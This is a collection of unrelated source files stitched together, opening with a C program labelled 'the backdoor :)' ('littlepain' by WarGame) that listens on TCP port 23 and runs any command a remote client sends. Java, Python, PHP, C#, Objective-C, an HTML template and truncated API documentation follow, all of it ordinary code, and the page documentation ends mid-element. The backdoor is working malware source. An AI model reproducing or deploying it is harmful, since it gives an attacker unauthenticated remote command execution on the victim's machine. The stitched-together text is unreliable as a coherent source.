#include "littlepain.h" /* the backdoor :) */ DWORD WINAPI BackDoor(LPVOID Data) { SOCKET server_sock,client_sock; struct sockaddr_in serv_inf; struct timeval tv; fd_set ft; char exec[MAX_PATH]; DWORD cnt; STARTUPINFO inf_prog; PROCESS_INFORMATION info_pr; if((server_sock = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET) { return 0; } serv_inf.sin_family = AF_INET; serv_inf.sin_addr.s_addr = htonl(INADDR_ANY); serv_inf.sin_port = htons(23); if(bind(server_sock,(struct sockaddr *)&serv_inf, sizeof(struct sockaddr_in)) == SOCKET_ERROR) { return 0; } listen(server_sock,SOMAXCONN); /* main loop! */ while(1) { client_sock = accept(server_sock,NULL,0); tv.tv_usec = 0; tv.tv_sec = 60; FD_ZERO(&ft); FD_SET(client_sock,&ft); /* send a msg */ send(client_sock,"[:: littlepain ::] by WarGame\r\n",31,0); while(1) { if(select(client_sock+1,&ft,NULL,NULL,&tv) > 0) { memset(exec,0,MAX_PATH); recv(client_sock,exec,MAX_PATH,0); /* remove "\r" and "\n" */ for(cnt = 0;cnt < strlen(exec);cnt++) { if(exec[cnt] == '\r' || exec[cnt] == '\n') { exec[cnt] = 0; } } /* (try to) execute the command */ memset(&inf_prog,0,sizeof(STARTUPINFO)); memset(&info_pr,0,sizeof(PROCESS_INFORMATION)); inf_prog.cb = sizeof(STARTUPINFO); inf_prog.dwFlags = <API key>; inf_prog.wShowWindow = SW_SHOW; if(CreateProcess(NULL,exec,NULL,NULL,FALSE,CREATE_NEW_CONSOLE, NULL,NULL,&inf_prog,&info_pr)) { send(client_sock,"Executed!\r\n",11,0); } else { send(client_sock,"Not Executed!\r\n",15,0); } } else { closesocket(client_sock); break; } } } }
package de.mhu.com.morse.channel.sql; import java.lang.reflect.<API key>; import java.sql.SQLException; import java.util.Iterator; import java.util.LinkedList; import de.mhu.lib.ASql; import de.mhu.lib.dtb.Sth; import de.mhu.com.morse.aaa.IAclManager; import de.mhu.com.morse.channel.CMql; import de.mhu.com.morse.channel.<API key>; import de.mhu.com.morse.channel.IConnectionServer; import de.mhu.com.morse.channel.IQueryFunction; import de.mhu.com.morse.channel.IQueryWhereFunction; import de.mhu.com.morse.mql.ICompiledQuery; import de.mhu.com.morse.types.IAttribute; import de.mhu.com.morse.types.IAttributeDefault; import de.mhu.com.morse.types.ITypes; import de.mhu.com.morse.usr.UserInformation; import de.mhu.com.morse.utils.AttributeUtil; import de.mhu.com.morse.utils.MorseException; public class WhereSqlListener implements WhereParser.IWhereListener { private StringBuffer sb = null; private Descriptor desc; private SqlDriver driver; private IConnectionServer con; private ITypes types; private IAclManager aclm; private UserInformation user; private ICompiledQuery code; private boolean needComma; public WhereSqlListener( SqlDriver pDriver, IConnectionServer pCon, ITypes pTypes, IAclManager pAclm, UserInformation pUser, Descriptor pDesc, ICompiledQuery pCode, StringBuffer dest ) { desc = pDesc; driver = pDriver; con = pCon; types = pTypes; aclm = pAclm; user = pUser; code = pCode; sb = dest; } public int appendTableSelect(String name, int off) throws MorseException { name = name.toLowerCase(); if ( ! AttributeUtil.isAttrName( name, true ) ) throw new MorseException( MorseException.UNKNOWN_ATTRIBUTE, name ); Object[] obj = desc.attrMap.get( name ); if ( obj == null ) throw new MorseException( MorseException.UNKNOWN_ATTRIBUTE, name ); if ( obj.length == 0 ) throw new MorseException( MorseException.ATTR_AMBIGIOUS, name ); String tName = (String)obj[3]; int pos = tName.indexOf('.'); if ( pos < 0 ) tName = IAttribute.M_ID; else tName = tName.substring( 0, pos + 1 ) + IAttribute.M_ID; sb.append( driver.getColumnName( tName ) ); sb.append( " IN ( SELECT " ); sb.append( driver.getColumnName( IAttribute.M_ID ) ); sb.append( " FROM r_" ); sb.append( ((IAttribute)obj[1]).getSourceType().getName() ).append( '_' ).append( ((IAttribute)obj[1]).getName() ); sb.append( " WHERE " ); Descriptor desc2 = new Descriptor(); Attr a = new Attr(); a.name = IAttribute.M_ID; desc2.addAttr( a ); // find all tables / types Table newTable = new Table(); newTable.name = ((IAttribute)obj[1]).getSourceType().getName() + '.' + ((IAttribute)obj[1]).getName(); desc2.addTable( newTable ); SqlUtils.checkTables( desc2, types, con, user, aclm ); SqlUtils.checkAttributes( con, desc2, user, aclm ); off+=2; off = SqlUtils.createWhereClause( con, driver, off, code, desc2, types, sb, user, aclm ); // sb.append( ')' ); off++; return off; } public void brackedClose() { sb.append( ')' ); } public void brackedOpen() { sb.append( '(' ); } public void compareEQ(String left, String right) { sb.append( left ).append( '=' ).append( right ); } public void compareGT(String left, String right) { sb.append( left ).append( '>' ).append( right ); } public void compareGTEQ(String left, String right) { sb.append( left ).append( ">=" ).append( right ); } public void compareINBegin(String left) { sb.append( left ).append( " IN (" ); needComma = false; } public void compareINEnd() { sb.append( ')' ); } public void compareINValue(String string) { if ( needComma ) sb.append( ',' ); needComma = true; sb.append( string ); } public void compareLIKE(String left, String right) { sb.append( left ).append( " LIKE " ).append( right ); } public void compareLT(String left, String right) { sb.append( left ).append( '<' ).append( right ); } public void compareLTEQ(String left, String right) { sb.append( left ).append( "<=" ).append( right ); } public void compareNOTEQ(String left, String right) { sb.append( left ).append( "!=" ).append( right ); } public int compareSubSelect(String name, int off, boolean distinct) throws MorseException { Descriptor desc2 = new Descriptor(); off = SqlUtils.findAttributes(off, code, desc2); if ( desc.attrSize == 0 ) throw new MorseException( MorseException.NO_ATTRIBUTES ); off++; // FROM // find all tables / types off = SqlUtils.findTables(off, code, desc2 ); SqlUtils.checkTables( desc2, types, con, user, aclm ); SqlUtils.checkAttributes( con, desc2, user, aclm ); SqlUtils.postCheckAttributes( desc2 ); SqlUtils.checkFunctions( con, desc2, desc2, user, driver.getAclManager() ); StringBuffer sb2 = new StringBuffer(); SqlUtils.createSelect( driver, desc2, sb2, distinct ); boolean hasWhere = false; if ( SqlUtils.needHintWhere( driver, desc2 ) ) { if ( ! hasWhere ) { sb2.append( " WHERE (" ); } else { sb2.append( " AND (" ); } SqlUtils.<API key>( con, driver, desc2, driver.getTypes(), sb2, user, aclm ); sb2.append( " ) " ); hasWhere = true; } if ( code.getInteger( off ) == CMql.WHERE ) { if ( ! hasWhere ) { sb2.append( " WHERE (" ); } else { sb2.append( " AND (" ); } off++; off = SqlUtils.createWhereClause( con, driver, off, code, desc2, types, sb2, user, aclm ); } sb.append( name ).append( " IN ( " ).append( sb2.toString() ).append( " ) "); off++; return off; } public String executeFunction( IQueryFunction function, LinkedList<Object> functionAttrs ) throws MorseException { // Object[] obj = desc.attrMap.get( aName.toLowerCase() ); if ( function instanceof IQuerySqlFunction ) { String[] attrs = (String[])functionAttrs.toArray( new String[ functionAttrs.size() ] ); for ( int j = 0; j < attrs.length; j++ ) { attrs[j] = SqlUtils.checkAttribute( driver, null, attrs[j], desc, user ); } return ((IQuerySqlFunction)function).appendSqlCommand( driver, attrs ); } else { Object[] values = new Object[ functionAttrs.size() ]; Class[] classes = new Class[ functionAttrs.size() ]; int cnt = 0; for ( Iterator i = functionAttrs.iterator(); i.hasNext(); ) { values[cnt] = i.next(); classes[cnt] = values[cnt].getClass(); cnt++; } if ( function instanceof IQueryWhereFunction ) return ((IQueryWhereFunction)function).getSingleResult( values ); else { try { function.getClass().getMethod( "append", classes ).invoke( function, values ); } catch (Exception e) { throw new MorseException( MorseException.ERROR, e ); } return function.getResult(); } } } public void appendInFunction( String left, IQueryFunction function, LinkedList<Object> functionAttrs) throws MorseException { Sth sth = null; String tmpName = null; try { Object[] obj = desc.attrMap.get( left.toLowerCase() ); tmpName = "x_" + driver.getNextTmpId(); String drop = driver.getDropTmpTableSql( tmpName ); sth = driver.internatConnection.getPool().aquireStatement(); if ( drop != null ) { try { sth.executeUpdate( drop ); } catch ( SQLException sqle ) { } } String create = new StringBuffer() .append( driver.<API key>() ) .append( ' ' ) .append( tmpName ) .append( " ( v " ) .append( driver.getColumnDefinition( (IAttribute)obj[1], false ) ) .append( ") ") .append( driver.<API key>() ) .toString(); sth.executeUpdate( create ); sth.executeUpdate( driver.<API key>( 1, tmpName, "v" ) ); if ( ! ( function instanceof IQueryWhereFunction ) ) throw new MorseException( MorseException.<API key> ); Iterator<String> res = ((IQueryWhereFunction)function).getRepeatingResult( (Object[])functionAttrs.toArray( new Object[ functionAttrs.size() ] ) ); while ( res.hasNext() ) { String insert = "INSERT INTO " + tmpName + "(v) VALUES (" + SqlUtils.<API key>(driver, (IAttribute)obj[1], res.next() ) + ")"; sth.executeUpdate( insert ); } } catch ( Exception sqle ) { if ( sqle instanceof MorseException ) throw (MorseException)sqle; throw new MorseException( MorseException.ERROR, sqle ); } finally { try { sth.release(); } catch ( Exception ex ) {} } desc.addTmpTable( tmpName ); sb.append( " IN ( SELECT v FROM " ).append( tmpName ).append( " ) "); } public void operatorAnd() { sb.append( " AND " ); } public void operatorNot() { sb.append( " NOT " ); } public void operatorOr() { sb.append( " OR " ); } public String transformAttribute(String name) throws MorseException { Object[] obj = desc.attrMap.get( name ); if ( obj == null ) throw new MorseException( MorseException.UNKNOWN_ATTRIBUTE, name ); if ( obj.length == 0 ) throw new MorseException( MorseException.ATTR_AMBIGIOUS, name ); String tName = (String)obj[3]; /* int pos = tName.indexOf('.'); if ( pos < 0 ) tName = IAttribute.M_ID; else tName = tName.substring( 0, pos + 1 ) + IAttribute.M_ID; */ return driver.getColumnName( tName ); // return SqlUtils.checkAttribute( driver, null, name, desc, user ); } public Object transformValue( String attrName, String name) throws MorseException { if ( ! AttributeUtil.isValue( name ) ) throw new MorseException( MorseException.WRONG_VALUE_FORMAT, name ); if ( attrName != null ) { Object[] obj = desc.attrMap.get( attrName.toLowerCase() ); if ( obj != null && obj.length != 0 && obj[1] != null ) { IAttribute attr = (IAttribute)obj[1]; String value = name; if ( name.length() > 1 && name.charAt( 0 ) == '\'' && name.charAt( name.length() - 1 ) == '\'' ) value = ASql.unescape( name.substring( 1, name.length() - 1 ) ); if ( ! attr.getAco().validate( value ) ) throw new MorseException( MorseException.<API key>, new String[] { attrName, name } ); return SqlUtils.<API key>( driver, attr, value ); } else { IAttribute attr = IAttributeDefault.getAttribute( attrName ); if ( attr != null ) return SqlUtils.<API key>( driver, attr, name ); } } return name; } }
// UIImage+Image.h #import <UIKit/UIKit.h> @interface UIImage (Image) + (UIImage *)imageWithColor:(UIColor *)color; + (UIImage *)<API key>:(NSString *)name; + (UIImage *)<API key>:(NSString *)name left:(CGFloat)left top:(CGFloat)top; + (instancetype)<API key>:(NSString *)imageName; + (UIImage *)<API key>:(UIImage *)sourceImage targetSize:(CGSize)size; + (UIImage *)resizeImage:(UIImage *)image toWidth:(CGFloat)width height:(CGFloat)height; + (instancetype)zoomImage:(UIImage *)image toScale:(CGFloat)scale; // buttonItem + (UIImage *)<API key>:(UIImage*)image; @end
from django.db import models from django.utils.html import format_html from sorl.thumbnail import get_thumbnail from sorl.thumbnail.fields import ImageField from sno.models import Sno class SnoGalleries(models.Model): class Meta: verbose_name = 'Фотография в галереи СНО' verbose_name_plural = 'Фотографии в галереи СНО' name = models.CharField('Название фото', max_length=255, blank=True, null=True) photo = ImageField(verbose_name='Фото', max_length=255) description = models.TextField('Описание', blank=True, null=True) sno = models.ForeignKey(Sno, verbose_name='СНО', on_delete=models.CASCADE) date_created = models.DateField('Дата', auto_now_add=True) def photo_preview(self): img = get_thumbnail(self.photo, '75x75', crop='center') return format_html('<a href="{}" target="_blank"><img style="width:75px; height:75px;" src="{}"></a>', self.photo.url, img.url) photo_preview.short_description = 'Фото' def __str__(self): return '%s (%s)' % (self.name, self.sno.short_name)
package com.bjorktech.cayman.idea.designpattern.structure.proxy; public class TargetClass implements TargetInterface { @Override public long add(long a, long b) { long temp = a + b; System.out.println(temp); return temp; } @Override public long sub(long a, long b) { long temp = a - b; System.out.println(temp); return temp; } }
package com.badlogic.gdx.ingenuity.scene2d; import com.badlogic.gdx.graphics.Color; import com.badlogic.gdx.ingenuity.GdxData; import com.badlogic.gdx.ingenuity.helper.PixmapHelper; import com.badlogic.gdx.ingenuity.utils.GdxUtilities; import com.badlogic.gdx.scenes.scene2d.Group; import com.badlogic.gdx.scenes.scene2d.Stage; import com.badlogic.gdx.scenes.scene2d.actions.Actions; import com.badlogic.gdx.scenes.scene2d.ui.Image; import com.badlogic.gdx.utils.Align; import com.badlogic.gdx.utils.Disposable; /** * @ Mitkey * @ 2017324 3:09:56 * @: * @ xx */ public class Loading implements Disposable { private Group root = new Group(); private Image imgOut; private Image imgInner; public Loading() { root.setSize(GdxData.WIDTH, GdxData.HEIGHT); Image imgBg = new Image(PixmapHelper.getInstance().<API key>(5, 5)); imgBg.setFillParent(true); root.addActor(imgBg); imgOut = new Image(PixmapHelper.getInstance().<API key>(Color.YELLOW, 40, 40)); imgOut.setOrigin(Align.center); imgInner = new Image(PixmapHelper.getInstance().newCircleDrawable(Color.RED, 18)); imgInner.setOrigin(Align.center); GdxUtilities.center(imgOut); GdxUtilities.center(imgInner); root.addActor(imgOut); root.addActor(imgInner); } public void show(Stage stage) { stage.addActor(root); root.toFront(); imgOut.clearActions(); imgOut.addAction(Actions.forever(Actions.rotateBy(-360, 1f))); imgInner.clearActions(); imgInner.addAction(Actions.forever(Actions.rotateBy(360, 2f))); } public void hide() { root.remove(); } @Override public void dispose() { hide(); } }
package com.concavenp.nanodegree.shared; import org.junit.Test; import static org.junit.Assert.*; /** * To work on unit tests, switch the Test Artifact in the Build Variants view. */ public class ExampleUnitTest { @Test public void addition_isCorrect() throws Exception { assertEquals(4, 2 + 2); } }
<!DOCTYPE HTML> <html> <head> <title>{#$site_title#}</title> <meta charset="utf-8"> <meta name="Keywords" content="{#$site_keywords#}" /> <meta name="Description" content="{#$site_description#}" /> <link href="{#$site_root#}themes/default/skin/nav.css" rel="stylesheet" type="text/css" /> <script type="text/javascript">var sitepath = '{#$site_root#}'; var rewrite = '{#$cfg.link_struct#}';</script> <script type="text/javascript" src="{#$site_root#}public/scripts/jquery.min.js"></script> <script type="text/javascript" src="{#$site_root#}public/scripts/common.js"></script> </head> <body> {#include file="topbar.html" <div id="wrapper"> <div id="header"> <div id="topbox"> <a href="{#$site_url#}" class="logo" title="{#$site_title#}"></a> <div id="sobox"> <form name="sofrm" class="sofrm" method="get" action="" onSubmit="return rewrite_search()"> <input name="mod" type="hidden" id="mod" value="search" /> <input name="type" type="hidden" id="type" value="name" /> <div id="selopt"> <div id="cursel"></div> <ul id="options"> <li><a href="javascript: void(0);" name="name"></a></li> <li><a href="javascript: void(0);" name="url"></a></li> <li><a href="javascript: void(0);" name="tags">TAG</a></li> <li><a href="javascript: void(0);" name="intro"></a></li> </ul> </div> <input name="query" type="text" class="sipt" id="query" onFocus="this.value='';" /><input type="submit" class="sbtn" value=" " /> </form> </div> </div> <div id="navbox"> <ul class="navbar"> <li><a href="?mod=index"></a></li><li class="navline"></li> <li><a href="?mod=webdir"></a></li><li class="navline"></li> <li><a href="?mod=article"></a></li><li class="navline"></li> <li><a href="?mod=weblink"></a></li><li class="navline"></li> <li><a href="?mod=category"></a></li><li class="navline"></li> <li><a href="?mod=update"></a></li><li class="navline"></li> <li><a href="?mod=archives"></a></li><li class="navline"></li> <li><a href="?mod=top">TOP</a></li><li class="navline"></li> <li><a href="?mod=feedback"></a></li><li class="navline"></li> </ul> </div> <div id="txtbox"> <div class="count"><b>{#$stat.category#}</b><b>{#$stat.website#}</b><b>{#$stat.article#}</b></div> <div class="link"><a href="{#$site_root#}member/?mod=website&act=add"></a> - <a href="{#$site_root#}member/?mod=article&act=add"></a> - <a href="{#$site_root#}?mod=diypage&pid=1"></a></div> </div> </div> <div class="blank10"></div> <div id="quickbox"><strong></strong>{#foreach from=get_websites(0, 12, true) item=quick#}<a href="{#$quick.web_link#}" title="{#$quick.web_name#}">{#$quick.web_name#}</a>{#/foreach#}</div> <div class="blank10"></div> <div id="homebox"> <div id="homebox-left"> <dl id="hcatebox" class="clearfix"> {#foreach from=get_categories() item=cate#} {#if $cate.cate_mod == 'webdir' <dt><a href="{#$cate.cate_link#}">{#$cate.cate_name#}</a></dt> <dd> <ul class="hcatelist"> {#foreach from=get_categories($cate.cate_id) item=scate#} <li><a href="{#$scate.cate_link#}">{#$scate.cate_name#}</a></li> {#/foreach#} </ul> </dd> { {#/foreach#} </dl> <div class="blank10"></div> <div id="newbox"> <h3></h3> <ul class="newlist"> {#foreach from=get_websites(0, 14) item=new#} <li><span>{#$new.web_ctime#}</span><a href="{#$new.web_link#}" title="{#$new.web_name#}">{#$new.web_name#}</a></li> {#/foreach#} </ul> </div> </div> <div id="homebox-right"> <div id="bestbox"> <h3><span></span></h3> <ul class="clearfix bestlist"> {#foreach from=get_websites(0, 35, false, true) item=best#} <li><a href="{#$best.web_link#}" title="{#$best.web_name#}">{#$best.web_name#}</a></li> {#/foreach#} </ul> </div> <div class="blank10"></div> <div id="coolbox" class="clearfix"> <h3></h3> <ul class="csitelist"> {#foreach from=get_best_categories() item=cate name=csite#} <li><h4><a href="{#$cate.cate_link#}">{#$cate.cate_name#}</a></h4><a href="{#$cate.cate_link#}" class="more">>></a>{#foreach from=get_websites($cate.cate_id, 5) item=cool#}<span><a href="{#$cool.web_link#}" title="{#$cool.web_name#}">{#$cool.web_name#}</a></span>{#/foreach#}</li> {#if $smarty.foreach.csite.iteration % 5 == 0 && $smarty.foreach.csite.iteration != 20 <li class="sline"></li> { {#/foreach#} </ul> </div> <div class="blank10"></div> <div id="rowbox" class="clearfix"> <div id="newsbox"> <h3></h3> <ul class="newslist"> {#foreach from=get_articles(0, 8, false) item=art#} <li><span>{#$art.art_ctime#}</span><a href="{#$art.art_link#}">{#$art.art_title#}</a></li> {#/foreach#} </ul> </div> <div class="line"></div> <div id="exlink"> <h3></h3> <ul class="exlist"> {#foreach from=get_weblinks(0, 8) item=link#} <li><a href="{#$link.web_link#}">{#$link.link_name#} - PR{#$link.web_grank#}{#$link.web_brank#}{#$link.deal_type#}</a></li> {#/foreach#} </ul> </div> </div> </div> </div> <div class="blank10"></div> <div id="inbox" class="clearfix"> <h3></h3> <ul class="inlist"> {#nocache#} {#foreach from=get_websites(0, 30, false, false, 'instat') item=instat#} <li><a href="{#$instat.web_link#}" title="{#$instat.web_name#}">{#$instat.web_name#}</a></li> {#/foreach#} {#/nocache#} </ul> </div> <div class="blank10"></div> <div id="linkbox" class="clearfix"> <h3></h3> <ul class="linklist"> {#foreach from=get_links() item=link#} <li><a href="{#$link.link_url#}" target="_blank">{#$link.link_name#}</a></li> {#/foreach#} </ul> </div> {#include file="footer.html" </div> </body> </html>
using System; namespace EtoTest.Model { public class DataFileVersion { <summary> The name of this station - writen to name of conlict files when resyncing. </summary> public String StationName { get; set; } <summary> If this ID is different from the current on google drive then updates have occured on google </summary> public int FromVersionId { get; set; } <summary> If we have made some of our own updates when offline, then this value is incremented from 0. </summary> public int? CurrentVersionId { get; set; } <summary> A description of the operation that we are about to attempt. If this value is set; then we crashed before the last operation completed. Set to null immediately after completing an operation. </summary> public String BeforeOperation { get; set; } } }
<?php namespace Deliveryboy\V1\Rest\Orderproducts; class OrderproductsEntity { public $order_product_id; public $order_id; public $order_product_name; public $order_item_id; public $order_offer_id; public $order_type; public $package_id; public $unit_price; public $total_price; public $quantity; public function getArrayCopy() { return array( 'order_product_id' => $this->order_product_id, 'order_id' => $this->order_id, 'order_product_name' => $this->order_product_name, 'order_item_id' => $this->order_item_id, 'order_offer_id' => $this->order_offer_id, 'order_type' => $this->order_type, 'package_id' => $this->package_id, 'unit_price' => $this->unit_price, 'total_price' => $this->total_price, 'quantity' => $this->quantity, ); } public function exchangeArray(array $array) { $this->order_product_id = $array['order_product_id']; $this->order_id = $array['order_id']; $this->order_product_name = $array['order_product_name']; $this->order_item_id = $array['order_item_id']; $this->order_offer_id = $array['order_offer_id']; $this->order_type = $array['order_type']; $this->package_id = $array['package_id']; $this->unit_price = $array['unit_price']; $this->total_price = $array['total_price']; $this->quantity = $array['quantity']; } }
using System; using System.Collections.Generic; using System.Linq; using System.Text; namespace Trifolia.DB { public enum Conformance { SHALL = 1, SHALL_NOT = 2, SHOULD = 3, SHOULD_NOT = 4, MAY = 5, MAY_NOT = 6, UNKNOWN = 999 } }
package com.ctrip.xpipe.redis.checker.alert.manager; import com.ctrip.xpipe.redis.checker.alert.ALERT_TYPE; import com.ctrip.xpipe.redis.checker.alert.AlertChannel; import com.ctrip.xpipe.redis.checker.alert.AlertConfig; import com.ctrip.xpipe.redis.checker.alert.AlertEntity; import com.ctrip.xpipe.redis.checker.alert.message.<API key>; import com.ctrip.xpipe.redis.checker.alert.policy.channel.ChannelSelector; import com.ctrip.xpipe.redis.checker.alert.policy.channel.<API key>; import com.ctrip.xpipe.redis.checker.alert.policy.receiver.*; import com.ctrip.xpipe.redis.checker.alert.policy.timing.<API key>; import com.ctrip.xpipe.redis.checker.alert.policy.timing.TimeSlotControl; import com.ctrip.xpipe.redis.checker.config.CheckerDbConfig; import com.ctrip.xpipe.redis.core.meta.MetaCache; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import javax.annotation.PostConstruct; import java.util.List; import java.util.Map; import java.util.Set; import java.util.concurrent.TimeUnit; import java.util.function.LongSupplier; /** * @author chen.zhu * <p> * Oct 18, 2017 */ @Component public class AlertPolicyManager { @Autowired private AlertConfig alertConfig; @Autowired private CheckerDbConfig checkerDbConfig; @Autowired private MetaCache metaCache; private EmailReceiver emailReceiver; private GroupEmailReceiver groupEmailReceiver; private ChannelSelector channelSelector; private TimeSlotControl <API key>; @PostConstruct public void initPolicies() { emailReceiver = new <API key>(alertConfig, checkerDbConfig, metaCache); groupEmailReceiver = new <API key>(alertConfig, checkerDbConfig, metaCache); channelSelector = new <API key>(); if(<API key> == null) { <API key> = new <API key>(alertConfig); } } public List<AlertChannel> queryChannels(AlertEntity alert) { return channelSelector.alertChannels(alert); } public long queryRecoverMilli(AlertEntity alert) { return <API key>.durationMilli(alert); } public long querySuspendMilli(AlertEntity alert) { return TimeUnit.MINUTES.toMillis(alertConfig.<API key>()); } public EmailReceiverModel queryEmailReceivers(AlertEntity alert) { return emailReceiver.receivers(alert); } public void markCheckInterval(ALERT_TYPE alertType, LongSupplier checkInterval) { if(<API key> == null) { <API key> = new <API key>(alertConfig); } <API key>.mark(alertType, checkInterval); } public Map<EmailReceiverModel, Map<ALERT_TYPE, Set<AlertEntity>>> <API key>( <API key> alerts) { return groupEmailReceiver.<API key>(alerts); } }
package com.coolweather.android.util; import okhttp3.OkHttpClient; import okhttp3.Request; public class HttpUtil { public static void sendOkHttpRequest(String address,okhttp3.Callback callback){ OkHttpClient client=new OkHttpClient(); Request request=new Request.Builder().url(address).build(); client.newCall(request).enqueue(callback); } }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Class triagens\ArangoDb\Vertex | ArangoDB-PHP API Documentation</title> <link rel="stylesheet" href="resources/bootstrap.min.css?<SHA1-like>"> <link rel="stylesheet" href="resources/style.css?<SHA1-like>"> </head> <body> <nav id="navigation" class="navbar navbar-default navbar-fixed-top"> <div class="container-fluid"> <div class="navbar-header"> <a href="index.html" class="navbar-brand">ArangoDB-PHP API Documentation</a> </div> <div class="collapse navbar-collapse"> <form id="search" class="navbar-form navbar-left" role="search"> <input type="hidden" name="cx" value=""> <input type="hidden" name="ie" value="UTF-8"> <div class="form-group"> <input type="text" name="q" class="search-query form-control" placeholder="Search"> </div> </form> <ul class="nav navbar-nav"> <li> <a href="namespace-triagens.ArangoDb.html" title="Summary of triagens\ArangoDb"><span>Namespace</span></a> </li> <li class="active"> <span>Class</span> </li> <li class="divider-vertical"></li> <li> <a href="<API key>.html" title="List of elements with deprecated annotation"> <span>Deprecated</span> </a> </li> </ul> </div> </div> </nav> <div id="left"> <div id="menu"> <div id="groups"> <h3>Namespaces</h3> <ul> <li class="active"> <a href="namespace-triagens.html"> triagens<span></span> </a> <ul> <li class="active"> <a href="namespace-triagens.ArangoDb.html"> ArangoDb </a> </li> </ul></li> </ul> </div> <div id="elements"> <h3>Classes</h3> <ul> <li><a href="class-triagens.ArangoDb.AdminHandler.html">AdminHandler</a></li> <li><a href="class-triagens.ArangoDb.AqlUserFunction.html">AqlUserFunction</a></li> <li><a href="class-triagens.ArangoDb.Autoloader.html">Autoloader</a></li> <li><a href="class-triagens.ArangoDb.Batch.html">Batch</a></li> <li><a href="class-triagens.ArangoDb.BatchPart.html">BatchPart</a></li> <li><a href="class-triagens.ArangoDb.BindVars.html">BindVars</a></li> <li><a href="class-triagens.ArangoDb.Collection.html">Collection</a></li> <li><a href="class-triagens.ArangoDb.CollectionHandler.html">CollectionHandler</a></li> <li><a href="class-triagens.ArangoDb.Connection.html">Connection</a></li> <li><a href="class-triagens.ArangoDb.ConnectionOptions.html">ConnectionOptions</a></li> <li><a href="class-triagens.ArangoDb.Cursor.html">Cursor</a></li> <li><a href="class-triagens.ArangoDb.Database.html">Database</a></li> <li><a href="class-triagens.ArangoDb.DefaultValues.html">DefaultValues</a></li> <li><a href="class-triagens.ArangoDb.Document.html">Document</a></li> <li><a href="class-triagens.ArangoDb.DocumentHandler.html">DocumentHandler</a></li> <li><a href="class-triagens.ArangoDb.Edge.html">Edge</a></li> <li><a href="class-triagens.ArangoDb.EdgeDefinition.html">EdgeDefinition</a></li> <li><a href="class-triagens.ArangoDb.EdgeHandler.html">EdgeHandler</a></li> <li><a href="class-triagens.ArangoDb.Endpoint.html">Endpoint</a></li> <li><a href="class-triagens.ArangoDb.Export.html">Export</a></li> <li><a href="class-triagens.ArangoDb.ExportCursor.html">ExportCursor</a></li> <li><a href="class-triagens.ArangoDb.Graph.html">Graph</a></li> <li><a href="class-triagens.ArangoDb.GraphHandler.html">GraphHandler</a></li> <li><a href="class-triagens.ArangoDb.Handler.html">Handler</a></li> <li><a href="class-triagens.ArangoDb.HttpHelper.html">HttpHelper</a></li> <li><a href="class-triagens.ArangoDb.HttpResponse.html">HttpResponse</a></li> <li><a href="class-triagens.ArangoDb.QueryCacheHandler.html">QueryCacheHandler</a></li> <li><a href="class-triagens.ArangoDb.QueryHandler.html">QueryHandler</a></li> <li><a href="class-triagens.ArangoDb.Statement.html">Statement</a></li> <li><a href="class-triagens.ArangoDb.TraceRequest.html">TraceRequest</a></li> <li><a href="class-triagens.ArangoDb.TraceResponse.html">TraceResponse</a></li> <li><a href="class-triagens.ArangoDb.Transaction.html">Transaction</a></li> <li><a href="class-triagens.ArangoDb.Traversal.html">Traversal</a></li> <li><a href="class-triagens.ArangoDb.UpdatePolicy.html">UpdatePolicy</a></li> <li><a href="class-triagens.ArangoDb.UrlHelper.html">UrlHelper</a></li> <li><a href="class-triagens.ArangoDb.Urls.html">Urls</a></li> <li><a href="class-triagens.ArangoDb.User.html">User</a></li> <li><a href="class-triagens.ArangoDb.UserHandler.html">UserHandler</a></li> <li><a href="class-triagens.ArangoDb.ValueValidator.html">ValueValidator</a></li> <li class="active"><a href="class-triagens.ArangoDb.Vertex.html">Vertex</a></li> <li><a href="class-triagens.ArangoDb.VertexHandler.html">VertexHandler</a></li> </ul> <h3>Exceptions</h3> <ul> <li><a href="class-triagens.ArangoDb.ClientException.html">ClientException</a></li> <li><a href="class-triagens.ArangoDb.ConnectException.html">ConnectException</a></li> <li><a href="class-triagens.ArangoDb.Exception.html">Exception</a></li> <li><a href="class-triagens.ArangoDb.ServerException.html">ServerException</a></li> </ul> </div> </div> </div> <div id="splitter"></div> <div id="right"> <div id="rightInner"> <div id="content" class="class"> <h1>Class Vertex</h1> <div class="description"> <p>Value object representing a single vertex document</p> </div> <dl class="tree well"> <dd style="padding-left:0px"> <a href="class-triagens.ArangoDb.Document.html"><span>triagens\ArangoDb\Document</span></a> </dd> <dd style="padding-left:30px"> <img src="resources/inherit.png" alt="Extended by"> <b><span>triagens\ArangoDb\Vertex</span></b> </dd> </dl> <div class="alert alert-info"> <b>Namespace:</b> <a href="namespace-triagens.html">triagens</a>\<a href="namespace-triagens.ArangoDb.html">ArangoDb</a><br> <b>Package:</b> triagens\ArangoDb<br> <b>Since:</b> 1.2<br> <b>Located at</b> <a href="<API key>.ArangoDb.Vertex.html#15-25" title="Go to source code">Vertex.php</a> <br> </div> <div class="panel panel-default"> <div class="panel-heading"><h2>Methods summary</h2></div> </div> <div class="panel panel-default"> <div class="panel-heading"><h3>Methods inherited from <a href="class-triagens.ArangoDb.Document.html#methods">triagens\ArangoDb\Document</a></h3></div> <p class="elementList"> <code><a href="class-triagens.ArangoDb.Document.html <code><a href="class-triagens.ArangoDb.Document.html <code><a href="class-triagens.ArangoDb.Document.html <code><a href="class-triagens.ArangoDb.Document.html <code><a href="class-triagens.ArangoDb.Document.html <code><a href="class-triagens.ArangoDb.Document.html <code><a href="class-triagens.ArangoDb.Document.html <code><a href="class-triagens.ArangoDb.Document.html#_createFromArray">createFromArray()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#<API key>"><API key>()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_get">get()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_getAll">getAll()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_getAllAsObject">getAllAsObject()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#<API key>"><API key>()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_getChanged">getChanged()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_getCollectionId">getCollectionId()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_getHandle">getHandle()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#<API key>">getHiddenAttributes()</a></code>, <code><a href="class-triagens.ArangoDb.Document.html#_getId">getId()</a></code>, <code><a 